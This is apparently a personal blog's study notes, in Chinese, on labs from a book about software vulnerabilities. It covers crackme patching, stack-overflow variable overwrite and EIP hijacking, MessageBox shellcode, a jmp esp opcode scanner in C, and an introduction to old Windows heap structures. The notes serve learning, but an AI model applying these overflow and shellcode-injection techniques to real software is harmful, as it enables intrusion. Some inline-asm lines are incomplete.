0day2-Practice
2024-04-23 20:05:57

对书籍《0day软件漏洞精要分析-第二版》中的样本进行了调试分析

很喜欢书中的一句话:

所有漂亮的 exploits 背后都隐藏着无数个对着寄存器发呆的不眠之夜

复现参考:https://blog.wohin.me/

《0day2》实战笔记:part1 - 基础知识

Lab

记录调试代码时碰到的不懂或有趣、顿悟的地方

Ollydbg,首先调试到需要进行标准输入的地方

在调用scanf地方,从标准输入流中读入的数据写在栈上的位置

image-20240311170006867

写入后然后调用crack_me.00401000,进入后查看到字符串,我们很直接的猜测可能就是密码

调试的时候发现,执行了一个循环的过程,然后进行字符的比较

一个思路就是直接输入1234567通关

image-20240311170545410

第二个思路就是打patch,修改汇编语句为jne short 0040107F

image-20240311170820051

正确的patch应该是使用010editor类工具修改PE文件中的二进制数据,此处不再演示了。

《0day2》实战笔记:part2 - 栈溢出原理与实践

Lab

IDA反汇编,存在栈溢出

image-20240313160741662

攻击思路有:

  • 使用栈溢出覆盖栈上的数据,完成变量覆盖
  • 使用栈溢出劫持EIP,改变程序的执行流
  • shellcode注入

变量覆盖

IDA静态分析的时候发现了

最终密码校验的v3标志位和strcpy中的v3在栈上的关系如下:

image-20240313165112432

查看源码,v2完全可控

image-20240313165149755image-20240313165255488

只需要偏移8个字节,就可以覆盖,输入类似aaaaaaaa即可符合验证

image-20240313165506654

劫持eip

既然可以覆盖变量,何不覆盖掉返回地址

image-20240313185613942

主要看大端小端序,可以动态调试的时候查看

image-20240313185534207

报错是因为覆盖掉上一个栈帧地址

image-20240313185520386

栈上的shellcode注入

我们搓出shellcode如下

1
2
3
4
5
6
7
8
9
10
11
xor ebx, ebx
push ebx
push 626F6A2D
push 646F6F67
mov eax, esp
push ebx ; uType
push eax ; lpCaption
push eax ; lpText
push ebx ; hWnd
mov eax, 0x77D507EA ; 需要查看MessageBox的地址 = addr(User32.dll) + addr(offset)
call eax

image-20240313191430059

然后使用pwntools的asm模块,将汇编转字节码,当然也可以使用AI工具帮忙转,然后就是查看栈溢出点

image-20240313204123973

偏移0x30+0x4,然后再填入4字节的跳转到shellcode地址

image-20240313204142563

动态调试查看写入点的基址,一个trick是可以写一些显眼的脏数据查看

image-20240313204441148

所以写入buffer的数据为如下,0x90对应着nop,注意小端

弹窗成功

image-20240313203833764

《0day2》实战笔记:part3 - 开发shellcode的艺术

jmp esp技术

主要是如果将shellcode注入到函数的栈空间中,可能由于动态链接库的装载导致shellcode的定位出现问题

做法就是(如图所示),将shellcode写入到ret指令之前的栈里(可以先填充一段nop指令提高利用的成功率),然后在ret位置覆盖为指令jmp esp的地址作为跳板(这个可以通过爆搜内存进行查找)

image-20240316152639936

内存搜索

内存搜索的相关代码解析:

思路就是LoadLibrary将DLL映射到当前进程的内存空间后,进行爆搜,粗暴而有效

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
void main(){
BYTE* ptr;
int position, address;
HINSTANCE handle;
// HINSTANCE
// 实例或模块的句柄, 当可执行文件或dll加载到内存中, 使用句柄识别

BOOL done_flag = FALSE;
// 使用winapi - LoadLibray加载dll到当前进程的内存空间中
handle = LoadLibrary(DLL_NAME);
if(!handle){
printf(" load dll erro !");
exit(0);
}

ptr=(BYTE*)handle;

// 爆搜内存
for(position=0;!done_flag;position++)
{
try
{
// 检测相关内存字节
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
// 0xFFE4: jmp esp
// 计算偏移
int address = (int)ptr+position;
printf("jmp esp opcode found at 0x%x\n", address);

}
}
catch(...)
{
int address = (int)ptr + position;
printf("END at 0x%x", address);
done_flag = true;
}
}
}

这里笔者其实有个疑惑,既然将DLL加载到主进程的内存空间中,那么爆搜到的内存地址不应该是主进程中的内存地址吗?

经过调试,LoadLibrary返回了一个句柄(Windows上的句柄的概念类似于Linux中的文件描述符),通过句柄,我们可以访问动态链接库中的资源。

image-20240316171819858

编写shellcode

之后就是exploit

在这之前,需要查看:

  • kernel32.dll中的exit0x7C81CB12

image-20240316182542021

  • MessageBox的函数地址:0x77D507EA

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <windows.h>

int main()
{
HINSTANCE LibHandle;
char dllbuf[11]="user32.dll";
LibHandle = LoadLibrary(dllbuf); // 主进程获得dllbuf的句柄

_asm{
sub sp, 0x440
xor ebx, ebx
push ebx
push 0x626F6A2D
push 0x646F6F67
mov eax, esp
push ebx
push eax
push eax
push ebx
mov eax
call eax
push ebx
call ebx
mov eax
call eax

}
return 0;

}

使用OD调试时转储shellcode

image-20240316193617076

注入

此部分演示使用上个lab的shellcode

黑色高亮部分是jmp esp,然后用nop填充,再存shellcode,最后nop填充

image-20240316210000114

image-20240316205900434

抬高esp保护shellcode的完整性

多搞点nop?

image-20240316211045486

《0day2》实战笔记:part5 - 堆溢出利用

微软操作系统堆管理机制发展大致分为三个阶段:

  • Windows 2000 ~ Windows XP SP1 堆管理系统没有丝毫考虑安全
  • Windows XP2 ~ Windows 2003 ,加入安全因素,如修改块首格式并加入cookie,双向链表节点在删除时会做指针验证
  • Windows Vista ~ Windows 7 是堆管理算法的里程碑

书中主要涉及Windows 2000 ~ Windows XP SP1平台的堆管理策略

堆的结构

程序员申请内存返回的指针指向的是块身

块首对程序员是透明的,堆表中只索引所有空闲堆块

img

两种堆表:

  • 空闲双向链表,Freelist(空表)

块首包含两个指针,用于组织双向链表

free[1]标识堆中所有8字节空闲堆块,然后从1127呈现按8字节大小进行递增

free[0]存储的是所有1024B < x < 512KB的空闲堆块,按大小升序

img

  • 快速单向链表,Lookaside(快表)

堆操作

Prev
2024-04-23 20:05:57
Next